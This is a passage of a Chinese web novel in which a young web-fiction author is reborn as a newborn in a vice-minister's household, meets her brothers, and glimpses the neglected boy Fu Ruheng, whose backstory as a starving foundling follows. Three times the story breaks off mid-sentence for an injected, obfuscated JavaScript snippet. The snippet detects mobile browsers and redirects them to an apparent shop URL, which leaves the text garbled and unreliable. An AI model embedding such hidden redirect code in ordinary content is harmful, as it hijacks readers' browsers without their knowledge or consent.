《竹马未婚夫竟是太子殿下》 1. 穿越 “夫人,加把劲,马上就要生出来了!” 偌大的庭院当中,某间装修华丽的屋子人来人往,不停地有血水被端出来。 女人青丝披散在床榻上,被疼痛折磨得忍不住发出凄惨叫声,手中握着的帕子早已经被汗水浸湿,长长的指甲掐入其中。 终于,一声婴儿哭啼响彻院子,忙里忙外的人脸上都露出几分欣喜。 “恭喜老爷、夫人,府上添了一位千金!” 床上女人从刚才的剧痛中缓过来,额角的发丝被冷汗浸透,她努力撑起身子,向一旁抱着婴儿的乳娘招手。 “我、我看看孩子。” 刚出生的女孩已经被擦去身上的污渍,包裹在柔软云锦绸缎织成的襁褓当中,在最开始的哭啼之后便安安分分地躺在乳娘怀里。 女人接过襁褓,望着她皱巴巴的小脸,终于露出了一抹温柔的笑容。 她坚持抱了一会儿,直到手中无力,才把婴儿小心地交给了乳娘。 听闻喜讯之后,不大的厢房里面早已经挤满了人,恭喜声不绝于耳。 女人屏退了其他无关的人,只留下贴身奴婢,笑着看向一直在旁边守候的相公。 “给她取个名吧。” 已值深秋,庭院当中的树叶都变得枯黄,纷纷飘落,却不见枯败景象。 户部侍郎盛怀德望了望窗外,又看向刚出生如小猫一样的嫡女:“就叫秋阑吧,盛秋阑。” . 耳边一片喧扰,盛秋阑睁开眼,意识还有些混沌。 周围的景物十分陌生,来来往往的丫鬟盘着简单发髻,脸上难掩欣喜。 她这是在哪? 盛秋阑努力回忆着之前的事情,作为马上要毕业的大学生,她白天忙着实习面试,只有晚上的时间能够写写小说赚点外快,睡眠时间严重不足,又恰好碰上连载的小说被大肆群嘲。 身为高流量女频网站的作者,她靠着古早狗血文学起家,这几年来一直在自己的舒适圈,倒也积累了不少喜好相投的粉丝。 只是随着时代发展,这种类型的小说逐渐落后于潮流,不但看的人变少,而且还引来了不少人在小说下面评论。 [这年头居然还有人写红眼发疯男主和落跑娇妻?作者别做白日梦了,还是出门找个班上吧。] 盛秋阑白天被HR明里暗里告知面试结果不如意,晚上打开网站就看到这条评论,一怒之下,连晚饭都没有来得及吃就决定改文。 终于把全文改完,她把眼神从电脑屏幕中移开,感觉到眼前阵阵发黑,头晕目眩,忍不住趴倒在桌子上。 一醒来就来到了这里。 四肢全都被布料束缚着,完全动不了。 盛秋阑尝试着挣扎了一下,反而被抱得更紧,索性不再动弹,用耳朵听着周围人的交谈。 盛家?侍郎府? 她抓到了这两个关键词,从脑海中搜索一番,终于知道了自己现在身处何地。 这是最近大火的男频买股文,主打主角升级流,皇位有力竞争者是现太子和四皇子。 盛秋阑追更到大半,作者突然断更了,虽然过了一段时间之后,作者回来坚持完结了,但是她已经失去了兴趣,直接翻到了最末尾看别人总结。 出乎意料的是,最后夺得皇位的并不是其中的任何一个人,而是前文中提到过的早已经失踪的先太子。 按理来说这种后起之秀,先前追更买股的读者情绪都不会很好,但是盛秋阑点开文章评论,却发现底下没有多少骂声,反而都是对皇帝的讨论。 [这种表面温润公子实则杀伐果断真的太戳我了,谁懂太子前期韬光养晦,最后登基上位那一刻,我在床上爽到打滚。] [还有前期废太子和四皇子党羽,一个都没有留下,尤其是那个户部尚书家,要不是被嫡女连累,也不至于满门抄斩。] 盛秋阑对评论当中所说的尚书嫡女有印象,原因无他,只是因为她们重名了。 她虽然写狗血言情文,可实际上一段恋爱都没有谈过。 而书中的那个盛秋阑,却是个不折不扣的恋爱脑,在一次宫宴中对风流倜傥的四皇子一见钟情,仗着全家的宠爱和父亲户部尚书的身份,偷偷为他提供各种方便,做了不少违背当朝律法的事情。 四皇子的罪名是通敌,盛秋阑作为他这一党的支持者,在其中也起到了作用。 断更之前四皇子还没有下台,按照时间线来推算,府中自然也是一切无事。 盛秋阑当时看到这条评论,对这位同名的炮灰女配没有多少同情,反倒是觉得她的家人实在无辜。 作为女频作者,她自然也写过穿书文,只是没想到有朝一日会落到自己身上。 盛秋阑闭上眼睛,在心底呼唤着系统。 按照一般套路,现在就是系统和她对话环节,然后她就需要一步步根据提示完成任务。 咦,声音呢? 等了半天,盛秋阑差点要睡着了,都没有听到套路中的系统音。 这不对吧? 她活动了一下身子,系统没有的话,总应该有个金手指吧。 目前所处的身躯弱小,虽然灵魂已经是二十多岁,但是身体机能都还处在婴儿时期,刚刚在脑海中回顾完原书的情节,盛秋阑就有些疲倦了。 别说金手指了,就连路都不能走。 传说中的天崩开局。 盛秋阑在最开始的郁闷之后,就心大地开始环顾起四周。 她被乳娘抱着,不知道具体路线,只能通过移动的景色来判断方位。 周围名贵树木环绕,一看就是有下人专门负责修剪,作为三品官员的户部侍郎,侍郎府修建得极为阔绰,假山水池环绕,就连台阶都是上好的白石铺成。 盛秋阑勾了勾外面包裹着的布料,云锦绸缎柔软,但是极其防寒,被厚厚裹了一层,就算在气温较低的深秋,也不会觉得冷。 乳娘手很稳,但是在行走过程当中不免有轻微颠簸,刚出生的她本就容易疲倦,被这样一晃,困意渐渐袭来。 就在即将入睡的时候,盛秋阑听到身边陪伴着的一个丫鬟轻呼:“那是谁家小公子?” 她来了兴趣,挣扎着睁开眼,想看看是谁。 即便之前通过上帝视角看过原书,但剧情全都围绕着几位主角展开,像户部尚书这类配角,只是寥寥提到了几笔,大部分事情还需要自己去摸索。 盛秋阑不是个被动等待的人,哪怕她现在还只是一个婴儿。 只是这个视角太过狭窄,她只能听见两个人的对话,却看不到来人相貌。 一道稚嫩的声音响起,带着几分无措:“我……我迷路了。” “碧云,你去看看。” 一旁候着的一位丫鬟依言上去,盛秋阑竖着耳朵,努力去听他们的谈话。 “今日府中夫人生育,暂不允许出入。小公子是哪家府邸的,姓甚名何?我们差人送你回去。” “傅如珩。” “傅……”碧云思考了一下,问其他的丫鬟,“今日侯府可来庆贺?” 有消息灵通的抢先答道:“侯府管事不久前送来了贺礼,现在应当还在府外。” 碧云当机立断,对剩下的人嘱咐:“我先送小公子出府,侧榻已经放好了炭盆,外面风凉,你们快些带小姐去吧。” 眼见着人还没有看到就要走了,盛秋阑有些着急,扭动着身子想要说话,却只能发出“啊啊”的声音。 乳娘没想到怀里的孩子刚才安静了一路,这时候会闹腾起来,不过她很有经验,靠着平常照顾小孩的方式来安抚,却依旧没有止住。 当然没有用,盛秋阑只是穿越到了婴儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904861|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面,智商还没有退化。 她今天势必要见到人。 “兴许是在陈妈妈怀里久了,要不换奴婢来抱小姐吧,夫人临盆之前奴婢专门学过一些。”一旁的丫鬟提议道。 这种情况并不少见,乳娘听她说得有几分在理,把襁褓小心翼翼地递给刚才说话的人。 借着这个机会,盛秋阑朝刚才出声的方向望去,那边有一位约莫两三岁的小男孩,哪怕身材瘦弱也不难看出五官的优越。 他的表情是强撑起来的冷淡,但是依然能看出其中的慌张,即便如此,面对上前询问的丫鬟,举止之中还是带着礼貌和得体。 这位就是侯府公子? 盛秋阑回忆着原书剧情,先太子失踪找寻未果之后,原二皇子就被封为了太子,他的亲生母亲是侯府嫡次女,侯府作为现太子的母家,自然是全力支持他这一党。 不过文中提到过的侯府家的世子嚣张跋扈,不堪大用,和眼前这位大不相符。 盛秋阑没有在评论当中看到侯府的结局,不过太子倒台,应该也没有好下场。 如此一来,她不由得对这位看上去比她大不了多少的男孩起了几分同病相怜的感情,书中二皇子干的大部分事情是草包世子和侯爷促成的,其他人应该只是被牵连。 不过上位的皇帝可不管这些,盛秋阑想到之前的评论,无一不是在说他杀伐果断。 余光当中,误闯进来的那位侯府公子已经转身,简单的青绿长袍丝毫没有盖住满身气度。 盛秋阑有些不忍,只是目前她自身都难保,更别提侯府的事情了。 最初的目的已经达成,她不再哭闹,安安分分地躺在丫鬟的怀中。 “小姐真是好看,比我见过的所有小孩子都漂亮。” “那是,老爷生得俊,夫人也是京城一等一的美人,生出来的小姐自然也不会差。” 说话之间,他们终于到了后院的主寝殿,主榻旁边早已经准备好一张小榻,上面厚厚地铺了两层垫子,不远处放着一个金丝炭盆。 炭盆散发着热气,隐隐能看见火光,即便寝殿空间很大,也照得暖烘烘的。 盛秋阑被安放在榻中间,两边的围栏高高竖起,用的是上好的紫檀木,木头上面雕刻着栩栩如生的龙凤,就连身下的垫子用的也是和襁褓一样材质的厚云锦,上面用银线绣着缠枝牡丹。 床榻最下面垫着羊毛,整个人都陷在柔软之中,已经被炭火烘烤得相当暖和。 虽然已经生产完毕,但是府中的事情还是不少,来的时候浩浩荡荡一群人护送,看到女婴已经被安然放入床榻之中,其他人就各自忙活,只留下了一位乳娘和两位丫鬟帮忙照看。 盛秋阑先前的困意没了大半,又不能起身,顺势观察自己未来要居住很长时间的地方。 她眼尖地瞥到床栏外有一抹金光,调整了一下姿势,仔细看过去,发现是一个悬挂在外侧的平安锁。 柔软的红绳系在上面,在绳结的最末尾,坠着一颗圆润温和的珍珠,锁身是用纯金制成的,用绳子悬吊在围栏上,上面雕刻着的莲花纹样与床栏杆上牡丹纹呼应。 锁扣处同样是用赤金雕刻出来的莲花浮雕,花瓣层层叠叠,最中间镶着一块成色极佳的红宝石,晶莹剔透,周边用金丝缠绕包裹,牢牢锁住了宝石,一眼便知价格不菲。 即使盛秋阑还没有见过她在这个世界的爹娘,但光从身边丫鬟的言语和目光所及的这些准备当中,就能看出原身是在荣华和宠爱中出生的。 即使是在大户人家当中,拥有这些配置的也是少数。 盛秋阑盯着这一枚平安锁看了一会儿,陌生的情感充盈着整颗心脏,让她不免心生出欢喜。 她回想起来书中的结局,在沉沉入睡前默默下定了决心。 这次她不会让家人再落到这种结局了。 2. 争宠 婴儿的精力实在有限,在接下来的几天,盛秋阑每天吃了睡、睡了吃,除了身边一直照顾的侍女和乳母,就只见到过她的娘亲这一位亲人。 侍郎夫人当初是名震京城的美人,母家也是朝中有名的官府人家,当初前来提亲的人数不胜数,但是她和盛怀德从小一起长大,互相心悦,自然将其他人拒绝了。 成婚之后,盛怀德也没有再纳妾,府中只有她一位正宫夫人,两人的感情甚笃,生产之前,他特意向朝中告了半旬假期,专门守候在旁边。 即便已经生了三个小孩,岁月也没有在她的脸上留下太多很痕迹,看上去依旧年轻,容颜也不减当年。 府中上上下下皆由她来照顾,平日对丫鬟们虽然平和,但还是带着气势,只有在面对盛秋阑的时候,多了一点母性的温柔。 夫人在贴身侍女的搀扶下坐在小榻旁边的椅子上,因为身子还没有完全修养好,一头青丝上没有过多装饰,只用木簪在脑后挽了一个髻子,手指隔着栏杆虚虚戳了一下床中的幼女:“我们小秋阑要快点长大啊。” 三日过后就是“洗三宴”,府中早早备好了相关事物,盛秋阑根本不用动脑,在当天被抱着进行完所有仪式。 她早上强行撑过沐浴环节,面前来来往往许多长辈,强行记了个轮廓,就实在受不住困意,沉沉睡下去。 睡着之前,盛秋阑原本心中还念着会不会见到之前侯府的公子,只是宾客们都在前厅,对方看上去也不像是受宠的样子,虽然听着身份尊贵,周围却连一个照顾的侍女都没有,不然也不至于落到独自一人迷路的境况。 算了,等她再大些,就可以自己去找对方了。 再次醒来已经是第二日,盛秋阑听到几声模糊的对话,她微微皱眉,还没有睁开了眼睛,耳边的声音先变得清晰。 “这就是我们小妹啊,怎么感觉和我之前想象的不大一样。” 那人停顿了一下,而后开口:“感觉有些丑。” 另一个人语气较为沉静,听起来年岁也稍大一些:“你刚出生时比她还难看。” 虽然是这样说,但是盛秋阑敏锐地捕捉到了背后的意思。 他并没有否认那一句丑。 这一日被丫鬟们左一句“好看”,右一句“漂亮”夸得飘飘然,乍一听有人这样说,盛秋阑心中涌上来一股气,怒气冲冲地睁开眼。 她倒要看看是谁在说她丑。 迎面对上两个凑在一起的脑袋,左边那个个头稍矮,发丝凌乱,看上去像是在外面疯玩了一圈,唯有一双眼睛亮得惊人。右面那位则要端庄许多,头发用丝带绑起来,脸上难得透出了一丝好奇。 两个人的身量都不算矮,从盛秋阑躺着的角度来看,可以说是仰视。 但她穿过来之前可是大学生,真实年龄是面前两个小豆芽的两倍,所以一点都不怵。 她眯起眼睛,努力做出一副凶狠的样子,盯着面前的人。 就是你们两个说我的吧。 只是盛秋阑实在是太小了,这幅样子不但没有一点威慑力,反而更加引来了关注。 左边那个小孩惊喜道:“妹妹是不是醒了,她在看我。” 什么叫看,这是瞪! 此时,盛承驰已经顾不上先前的话题,露出八颗大牙介绍自己:“妹妹,我是你二哥。” 旁边的人刚开始没有说话,但眼睛也一直没有离开,听到弟弟介绍完自己,他慢悠悠地开口,语气中带着一点紧张:“我是你大哥,盛承礼。” 原书当中对这两位的描写并不算多,只在尚书府被包抄的时候提过一嘴。 盛承礼在考中进士之后就入朝为官,因为父亲的关系,留在户部做了主事,本来再干两年还能够升上一职,结果还没有等到那时候就出事了。 关于盛承驰的描述就更少了,他在及冠后就离开了尚书府南下,最后的结局也没有人知晓。 盛承驰见妹妹一直看着自己,更来劲了:“叫哥哥好不好,哥、哥。” 他丝毫不觉得自己教一个刚出生四天的小孩说话有什么问题,甚至还重复了好几遍。 盛秋阑现在只能发出单个音节,自然回应不了他的期待。 况且她还记着仇呢。 盛承驰见得不到回应,忧心忡忡地说:"妹妹怎么一直不说话,不会是嗓子有什么问题吧,要不要叫大夫来看一眼。" 之前他好友也生了个妹妹,据说天天哭闹,隔着几间屋子都能听到,反观他刚出生的小妹,自从醒来之后一声都没有响过。 盛秋阑听了这话,不可置信地睁大眼睛。 你才有问题,你全家都有问题。 还想让我叫哥,哥你个大鬼头。 她动不了,只能通过眼神表达自己的不满,一旁的盛承礼就没有那么多顾忌了,他给了弟弟一肘,板着脸教训:“妹妹只是比较文静,切莫胡说。” 他这一下用力没有收着,盛承驰表情扭曲,自知自己说错了话,倒也没有反驳。 他揉了揉被撞痛的部位,看着龇牙咧嘴的盛秋阑。 “我给你准备了好多玩意,等长大点就给你,有金发簪,珠宝做的小首饰,还有一些玉珠子。我特意问了好兄弟,他妹妹可喜欢这些亮晶晶的东西了,每天就撒着金珠子玩,不过我打听了一下数目,还是你更多。” 盛秋阑表情一顿,笑容逐渐变得真情实感起来。 这还说啥啊,都是一家人。 ——所以什么时候把东西给她? 小孩子的脸上藏不住表情,所以她的变化很明显。 盛承驰得意地看了自家大哥一眼:“妹妹肯定会很喜欢我的。” 盛承礼表情淡淡,显出几分运筹帷幄:“我自然也给小妹准备了生辰礼,前几日西洋过来了一批新奇玩意,我着手买下了大半,其余都在拍卖行里面。” 盛秋阑听得目瞪口呆,不愧是户部侍郎的儿子,看不出来都这么有钱。 她满含期待地看着自家二哥,眼中的意味根本掩藏不住。 比起来比起来,越多越好。 不过盛承驰憋了半天,想不出来自己的宝库里面有什么比这更有新意的,他毕竟年岁要小一些,母亲虽然不克扣零用钱,但也不会给他太多,终归比不上大哥。 既然珍贵程度比不上,那就靠数量取胜。 他转身就走,打算拿出自己原本省下来买零嘴的钱,再去购置一些东西。 盛承礼在这场短暂的交锋中取得胜利,看着弟弟风风火火跑出去的背影,又站在原地看了自家妹妹一会儿。 他先前表现出来的成熟稳重终究还是破了功,时辰已经不早了,自己的功课还没有完成,也不能在这里久留。 临走前,他轻声对盛秋阑说:“妹妹,若是你会说话了,先叫叫我罢,我是哥哥。” 盛秋阑险些笑出声来,刚才还以为大哥有多么冷静,实则也不过是个不到十岁的小孩,在弟弟面前端出一副大人的样子,面对还听不懂话的小妹,就显出背后的儿童心性来。 丫鬟们候在不远处,给兄妹留出足够的空间,等到两人都走了之后才上前,掖了掖因为动作有些散开的被子。 “少爷们和小姐感情真是好,昨日洗三宴上小姐睡着了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904862|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没能见上面,一大早上就来看她。” “那是,小姐出生前大少和二少就开始准备礼物,听说平日里都节俭了不少。” “先前二少爷还念叨郑公子对他家姑娘太过纵容,依我看呐,少爷对小姐才是宠得没边儿!” 丫鬟们的话系数落入盛秋阑耳中,她歪歪脑袋,决定大度地原谅两个哥哥先前的话。 算了,谁让她比他们大呢? 时间一转而过,盛秋阑心心念念着长大,不用再像之前那样去哪里都需要被别人抱着,逐渐可以自己走路了,即使只有一小段距离,她也已经很满意了。 毕竟按照心理年龄来算,她已经是二十多岁了,哪有天天被人抱着的道理。 盛秋阑开口说话要比其他人早一些,因着先前憋了太久,展现出了前所未有的表达欲,不仅在其他人询问的时候能够准确说出称呼,甚至还能说出一小句话。 她第一次开口是在侍郎夫人抱她的时候,早在之前,发现自己能够说出晦涩口音的时候,盛秋阑就在私底下偷偷练习过,不至于在面前掉链子。 虽然发音还不是很标准,但还是能听出那一声“娘”。 女人的眼圈红了一瞬,惊喜地对自己的丈夫说:“你听到了吗?秋阑叫我了。” 盛怀德含着笑点头,望向坐在自家夫人怀里的女儿:“叫声爹好不好?” 盛秋阑非常听话,乖乖叫了声:“捏。” 话说出口,她自己都不太好意思。先前那声她已经是私下练习了好久,现在舌头还太能受控制,发出来的音节往往和原意背道而驰,但是盛怀德却表现得非常满足。 “我们家秋阑真聪明,比你哥哥开口还要早。” 经过这几个月的相处,盛秋阑早已经清楚自己的地位。 他们一直想要有一个女儿,无奈前两个生出来的都是儿子。 本来盛怀德心疼妻子,不想要再生了,只是意外怀孕之后,侍郎夫人坚持生下来,当真圆了当初的念想。 在盛秋阑出生之后,相关配置更是极其用心,光是身边照顾的丫鬟就经过层层挑选。 盛怀德不仅早就准备好了独立的院落,获得名贵的东西之后更是第一时间就送到她的正房当中。 盛秋阑人还不过几个月大,她的金库里面倒是塞满了不少东西了。 不光侍郎如此,她的祖父母和外祖父母也经常来府中看望,老人家在朝中为官数十载,积攒了不少好东西,每次来都会带些名贵的物件,其中还不乏有御赐之物。 为此,盛怀德特地在她的正房旁边重新修了一间偏房,专门用来保存收到的礼品,包括盛承礼和盛承驰当初答应给她的东西。 两兄弟之间的较量到最后也没有结果,盛秋阑最后只能化身“端水大师”,勉强保持了和平。 当初小床面前,两个人急切地想要“望妹成凤”,在接下来的几个月里也没有打消念头,时不时地穿插两声诱哄的发音教学。 于是在盛秋阑能说话的第二天,她发出一声口齿不清的“哥哥”,瞬间引来了兄弟俩的注意。 她特地找了个两个人都在的时间点,坚决不给他们任何争论“谁先”的机会。 不过叫还是能多叫几声的。 盛秋阑被两个人压着叫了好几声的“哥哥”,逐渐从一开始还能听清楚到最后的含糊不清,简直把“敷衍”两字写在脸上。 即便是这样,稚嫩的声带已经开始变得有些发哑,口干舌燥。 眼见着两个人没完了,她紧紧闭上嘴,坚决不再发出一个字。 他们是没有听见过人叫哥哥吗? 3. 珩儿 京城当中季节交替分明,一晃四季已经轮过一轮,再次来到两旁道路银杏金黄的秋天,这也意味着盛秋阑即将满一周岁。 经过这一年,盛秋阑早已经熟悉了这个身体,当初只能囫囵记个样子,现在已经可以在族中有聚餐的时候熟练地叫出每个人的称呼。 唯一有一点不好,她上辈子是一个土生土长的南方人,再加上那时候气温比这时普遍要高,所以到了严寒的冬天,盛秋阑还是有些不习惯。 她的床榻四角都放着炭盆,这样犹觉不够,床上时时备着汤婆子,保持着被褥的温热,就连衣服都比其他人要厚上许多,过年时行动难度上升了一倍。 不过盛秋阑此时已经习惯了被照顾,走累了就向身后跟着的丫鬟张开胳膊,自然会有人把她抱起来。 周岁宴早在三个月前就开始筹办,前前后后忙碌着,一直到了当天。 宴会定在辰时开始,盛秋阑在寅时就被侍女们叫起来开始梳洗打扮。 她已经很久没有这么早起来了,自从出生以来,盛秋阑就表现出了极好的睡眠质量,常常睡到了日上三竿才起来。 到了深秋,夜里逐渐延长,她被叫醒来的时候,外头还是一片昏暗。 盛秋阑赖在柔软的被窝里面,双手捂住耳朵。 “我还想睡觉。” 碧云无奈道:“小姐,已经快要来不及了,半个时辰之后你就说会起来的。” “不,要睡,一会儿……起。” 盛秋阑此时还不能说长句,只能挑选几个词表达自己的意思。 这一点放在其他人身上可能还有点用,但是碧云早已经熟悉了她的话术,听出来这只是敷衍。 再拖延下去可能就要误了吉时,碧云没有再废话,干脆将盛秋阑整个人连人带被从床上抱起来。 盛秋阑身体突然腾空,连眼睛都没有睁开,就被套上了衣服。 她仿佛没骨头一样,脑袋低垂着睡觉,双臂软绵绵地没有力气,任凭碧云操作。 等她穿好衣服,一旁早已经备好洗漱的清水,银盆下面垫着一小块暖炉,水温刚好合适,碧云用纯棉的毛巾浸入水中,帮她擦脸。 盛秋阑终于清醒了一点,没有再让碧云帮忙,自己接过毛巾囫囵擦了一下脸部,然后接过常用的香膏,抹在上面。 香膏都是去京城最好的店铺中进的,用料很扎实,散发着淡淡的山茶花香,涂在脸上润润的。 先前盛秋阑低估了京城的天气,没有涂香膏就出门了。结果走到外面,被外面的冷风一吹,不过半个时辰就脸颊通红,一摸就发疼,到了第二日才好。 自那之后,她就每天老老实实抹脸,再也没有犯过懒。 另一位贴身丫鬟迎春在这时候绕到身后,帮她梳理起了头发。 盛秋阑的发质在上辈子就特别好,一头乌黑浓密的长发披在身后,就连高三的时候都没有掉多少,穿到书里之后,这种先天优势也跟着遗传了过来。 她现在的头发还不是很长,约莫四五公分,迎春没有过多折腾,只在最中间梳起一缕,用鎏金的小发圈固定住,小辫子直直往上翘,朝着空中,有点像现代的苹果头,最后用镶嵌着珍珠的发饰点缀在上面。 光是这样还不够,盛秋阑脖子上被套上一个长命锁,手上还挂着各种小金镯,一跑起来就叮呤咣啷地响。 侍郎府早在昨天就已经装点完毕,各处都能看见红色的丝绸缎带,绕着正厅的两边梁柱,廊中悬挂着六角宫灯。 盛秋阑先前浪费了不少时间,等她结束,已经有不少宾客引入客席。 侍郎家对嫡女的喜爱早在之前就有流传,这次宴会更是丝毫不遮掩宠爱,配置规模全都是按照顶端的规格,光是宾客名单就有好几卷。 宴会当中除了盛家的内外亲属,其余都是侍郎在朝中的同僚。 盛怀德自从上任以来就受到当今皇帝的重视,晋升速度很快,三十多岁就到了户部侍郎的位置,过几年应该还会有更高的官职。 冲着这个,大多数人都愿意借着机会来结交。 正厅有父母来主持,用不着只有一岁的她操心。 盛秋阑不想要那么早就被那么多人注视,众目睽睽之下,连做个小动作都费劲,干脆跑到了一旁的花园里面去。 刚刚出生的时候,她还对侍郎府非常陌生,经过这一年,早已经熟悉了每一条小路,就连后院很少有人经过的竹林小道都去过好几次。 十一月份,只剩下几片枯黄树叶还挂在树枝上,但是此刻因为周岁宴,裸露的枝条上都被挂上了朱红色的灯笼,因而一点都不会觉得凋败。 傅如珩独立一人站在高大的树下,抬眼望着灯笼下垂落下来的流苏。 这是他第二次来到这座花园里面,上一次是一年之前,他的父亲让他跟着大管事来给侍郎府送礼。 傅如珩知道侯爷虽然把他带了回来,但是实际上并没有多少感情,他住在侯爷府,却好像个透明人,就连身边跟着的唯一一个侍从都敷衍了事。 不对,也不能算透明人。 侯府世子自从他被养在府中之后就开始看他不顺眼,有机会就会刻意过来找一番茬,他周围的仆从浩浩荡荡,就在旁边冷眼看着。 侯爷不可能不知道府中发生的事情,只是对此睁一只眼闭一只眼罢了。 傅如珩并不觉得如何,自己本该流落街头,能够有个地方住,现在还拥有了侯府公子的身份,不应该奢求更多。 他还记得自己第一天被带到侯府的时候,男人坐在书房当中,打量着他,语气中没有一点感情:“日后你就唤我父亲吧。” 傅如珩之前在街上漂泊过一段时间,期间因为露宿发烧,前面的记忆都有些模糊,对于家人的记忆更是浅淡。 此时他听到侯爷这样说,虽然面上不显,但是心中还是有些欣喜。 这是他第二个家人。 虽然傅如珩已经记不太清自己的娘亲长什么样子,但是在梦中总有一幕浮现。 女人保养得体的手轻柔地抚摸着他的脸颊:“别哭,珩儿。” 背影中火光漫天,但是浑身上下却是冰冷,燃烧的红色仿佛曼陀罗花灼灼盛放。 梦中体会不到温度,只能看到这带着绝望色彩的美丽。 再次恢复意识的时候,他被扔在了一处树林当中,身上的衣服破旧,细看还沾着点点血迹,也不知道过了多久。 树林像是很少有人踏足过,叶子落了满地,伴随着泥土,有一道浅浅的脚印,但也几乎淡得看不清形状。 傅如珩感觉到脸上有蚀骨的痛意,藏在骨头深处,用手摸过皮肤却是一片光滑。 他没有过多在意,环顾着周围的环境,小心地绕过地上丛生的荆棘,想要踏出这处地方。 傅如珩行走的速度不算快,他已经很多天没有进食了,才走了小一百米就感觉头重脚轻,一时不察就被旁边的刺勾住了小腿。 尖锐轻而易举地刺破了皮肤,原本就脏兮兮的小腿上顿时出现了一抹鲜红。 疼痛后知后觉传来,傅如珩原地坐下,想要用手捂住,却忘记了自己的手也是脏的。 先前的泥沙沾上伤口,又被胡乱抹开,看上去更加可怖。 他用衣角轻轻擦了擦,用手撑着地面站起来,一瘸一拐地继续往下走去。 面前的小道逐渐开阔,距离出口还有一段距离的时候,傅如珩看到了远方的城门。 朱红色的大门口站着两排黑甲士兵,手中的刀剑闪着银光,异常冰冷了,沉闷的颜色让整座城都蒙上阴暗色调。 傅如珩收回目光,坚持着走到山脚。 这一处地方实在是太过偏僻,即便是到了平地上,放眼望去也看不到多少人家,岩石赤裸着,就连人居住的痕迹都很少。 可是他已经没有力气再走下去了。 能够从山上走下来已经耗费了太多精力,天空也逐渐变暗,傅如珩跌坐在地面上,打算就地躺下。 大抵是处在饥饿之中,他睡得并不安稳,再次醒来是因为几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904863|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句对话。 “城中到底出了何事?城门口一直严兵把守着,已经一月有余了,都没有多少人出来。” “是啊,再这样下去,家中最后一点粮都要没有了。” 他们停顿了一下,女人犹疑着开口:“那是一个小孩吗?” 傅如珩慢慢睁开眼。一对衣着简朴的夫妻站在不远处看着他,似是在犹豫。 见他看过来,挣扎之下,女人走上前去,从怀里捂着的馒头中掰下一小块。 “要吃吗?” 傅如珩已经没有力气回答她了,伸手拿过馒头,全都塞进嘴里。 这一小块的分量不算大,而且质地粗糙,吃下去的时候像是被砂纸狠狠划过,但他实在是太饿了,囫囵咽下去。 女人面露不忍,眼中闪过犹豫,最终还是重新把馒头塞回了衣服当中。 “你家里人呢?” 这处地方实在太过偏僻,也不知道这个男孩是怎么到这里来的。 娘亲…… 傅如珩迷茫地眨了一下眼睛,大脑中的神经跳动,带着太阳穴都开始微微发疼。 熟悉的称呼,却想不起来任何东西。 女人见此明白了几分,但她自身难保,能够做的最后一件事就是提醒:“最近城中无法进去,你在可以往前面走,或许会有人家收留,不要靠近城门,小心冲撞。” 话虽如此,她心中清楚,最近因为城关紧锁,京外大小人家收入都不怎么样,更别提收留一个小孩了。 傅如珩对着她和不远处的男人鞠了一躬,慢慢往女人所指的方向走去。 他按照指示,没有靠近那扇朱红色的大门,甚至就连城门附近的村庄里面都没有走进去,徘徊在偏远的地方。 这处地方房屋不算多,但也没有那么荒凉,傅如珩找了一个桥洞,缩在下面当做自己睡觉的地点。 有时候路过的人见他可怜,可以分到一块发霉的馒头或者喝剩下的稀粥,里面几乎已经没有多少米,只剩下一点汤水,但他还是很小心地存着。 这一点东西可能是他两天的食物。 傅如珩不知道自己在桥洞底下呆了多久,身上的衣服变得破破烂烂,本就很薄的衣物甚至不能蔽体。 他曾经对着平静的湖面照自己,脸上全都是脏污,几乎连五官都看不出来,其他地方也不枉多让。 傅如珩掬了一捧水想要清洗,可冰凉的喝水一碰到脸上的皮肤就开始灼烧,疼痛剧烈到让他只能脱力般蜷缩成一团,等待着痛感过去。 之后他就再也没有尝试过。 先前远远见过的黑甲士兵曾经来到村中搜寻过一番,对着一张画像来回比对着。 傅如珩被命令抬头,他脸上已经很久没有清洗了,那位士兵犹豫着对照了一会儿,最终还是放下画卷,朝着远处继续寻找。 傅如珩的身体日渐虚弱,他待在桥洞底下的时间也越来越长,村子里面的人已经习惯了桥下有这个脏兮兮的人,家中粮食越来越紧缺,也没有多少剩饭能留给他。 就在他以为自己要在这里结束的时候,有一天,一位身着普通的中年男人手上拿着一个画像,和他对照了半天。 傅如珩想要开口,说上次已经比对过了,不是他,但是实在没有力气了。 眼前一片晕眩,连带着身形都有些摇晃。 这几日他做梦的频率越来越高,他的娘亲好像也离他更近了。 “娘。” 傅如珩眼前都开始晕眩,觉得这次比对似乎有些过久,对方终于放下手中的画像。 要走了吗?他迷迷糊糊地想。 